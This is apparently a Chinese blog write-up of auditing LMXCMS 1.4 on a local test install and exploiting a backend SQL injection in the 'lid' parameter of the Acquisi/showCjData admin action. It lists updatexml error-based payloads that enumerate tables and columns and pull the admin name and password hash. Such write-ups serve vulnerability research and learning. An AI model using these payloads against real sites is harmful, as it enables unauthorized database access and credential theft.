1. 在玩CNVD漏洞复现利用的时候,看到了梦想CMS后台存在SQL注入,但是只知道BO、cl开头的文件,漏洞附件也不公开,尝试去挖一挖,锻炼一下挖洞思路。
![](https://img-blog.csdnimg.cn/img_convert/2b4a728f37474ac4b0011d58d4a0f59a.png)
2. 在梦想CMS官网下载了安装包,在本地进行测试(http://www.lmxcms.com/down/)
3. 开始安装(这个就不详细说了)
![](https://img-blog.csdnimg.cn/img_convert/bcdc761c43224ea7b87bebeb6c43f60a.png)
![](https://img-blog.csdnimg.cn/img_convert/511909f2f0d64508bb76fc536028418d.png)
4. 安装成功,开始玩耍
5. 代码审计
![](https://img-blog.csdnimg.cn/img_convert/3948eac22b2740539fb9800c5c56c8a2.png)
6. 在官网看到的这个CMS采用的是MVC模式,上网查它
![](https://img-blog.csdnimg.cn/img_convert/1683ed604af2481cbda8610207a2451b.png)
经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面
7. 了解之后依然不明白,直接看URL找规律,最终明白了
![](https://img-blog.csdnimg.cn/img_convert/3a3701220a2847a796cffd6f74a80a8c.png)
前端的话对应的是index.php,m就是对应的模块功能只取Action前面的名字,a对应的就是模块里面的函数方法,classid对应的是函数里面的变量。
8. 直接代码审计
![](https://img-blog.csdnimg.cn/img_convert/2beca3b961984266b5ddcda9b7f0d343.png)
9. 漏洞还是很多的,随便来一个吧
![](https://img-blog.csdnimg.cn/img_convert/a5530923927f42148ca96848658319c5.png)
10. 看到cid为get请求的变量,试试有没有SQL注入,结果数据库日志没有显示cid反而出现了lid
![](https://img-blog.csdnimg.cn/img_convert/5e2299bcc26e47a3917c9654ab455b79.png)
11. 开整lid吧
pyload:http://127.0.0.1/lmxcms1.4/admin.php?m=Acquisi&a=showCjData&lid=2 and 1=(updatexml(1,concat(0x3a,(select user())),1))
![](https://img-blog.csdnimg.cn/img_convert/1a9750b27711495591305cb0bdcebb4a.png)
就这么简单??那就继续爆破数据库的名
![](https://img-blog.csdnimg.cn/img_convert/c8b8b3b83bd24fe793dfe22d55737415.png)
12. 爆破数据库mx下的表名
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mx' limit 0,1)),0)#
注意:0x7e为sql加密的~符号,table_schema='mx' 这个名字是通过第一步查询到的数据库名,limit语法, limit 10,1,显示第0行的数据库名,每次输出一行
通过修改limit的值,可以遍历数据库中的表名
![](https://img-blog.csdnimg.cn/img_convert/857d87b2389b4805bfb5d15b2367019a.png)
![](https://img-blog.csdnimg.cn/img_convert/216f21b810cb4c9cb34841eaf5ab5570.png)
感觉比较重要的表名mx_ad,mx_book,mx_user
13. 爆破数据表mx_ad下的字段名
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='mx_ad' and table_schema='mx'limit 0,1)),0)#
![](https://img-blog.csdnimg.cn/img_convert/4e872c742b3c42b9bac05d44e6ee3ba8.png)
![](https://img-blog.csdnimg.cn/img_convert/293788a4041f4f7db0f80fc21b775bc4.png)
未发现敏感数据
14. 爆破数据表mx_user下的字段名
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='mx_user' and table_schema='mx'limit 0,1)),0)#
![](https://img-blog.csdnimg.cn/img_convert/d085eed88412419c9cc4718d8ddf78ac.png)
![](https://img-blog.csdnimg.cn/img_convert/2879817cdf4349caa471d1eca46a1903.png)
![](https://img-blog.csdnimg.cn/img_convert/4b34af59a3d44ac78d621518ec8f552b.png)
name和pwd都出来了
15. 爆破数据表mx_user下的字段中的值
and 1=(updatexml(1,concat(0x3a,(select name from mx_user)),1))
![](https://img-blog.csdnimg.cn/img_convert/bb464fdf9cd44338ab220f9f1a789420.png)
127.0.0.1/lmxcms1.4/admin.php?m=Acquisi&a=showCjData&lid=2 and 1=(updatexml(1,concat(0x3a,(select pwd from mx_user)),1))
![](https://img-blog.csdnimg.cn/img_convert/31990e6204d347c685dd81d28fef806e.png)
updatexml函数最多输出32个字节。这个时候md5解密是解不出来的,因为~的存在占据一位,密文只有31位,所以substring函数作用就出来了。
and 1=(updatexml(1,concat(0x7e,substring((select pwd from mx_user),1,32)),1))
![](https://img-blog.csdnimg.cn/img_convert/8e552714a935464c8b8f6d3f531f144a.png)
![](https://img-blog.csdnimg.cn/img_convert/2cd1cf7add3b49a68b75cbd43a9f12f8.png)
substring函数:返回第一个参数中从第二个参数指定的位置开始、第三个参数指定的长度的字符串。例如:substring(“123456”,2,3)返回234,意思就是从第二个开始,输入3位
通过爆破 name=admin pwd=25f4696b213d14bc35eb70b4724c388d
25f4696b213d14bc35eb70b4724c388d安装的时候有秘钥,所以无法解密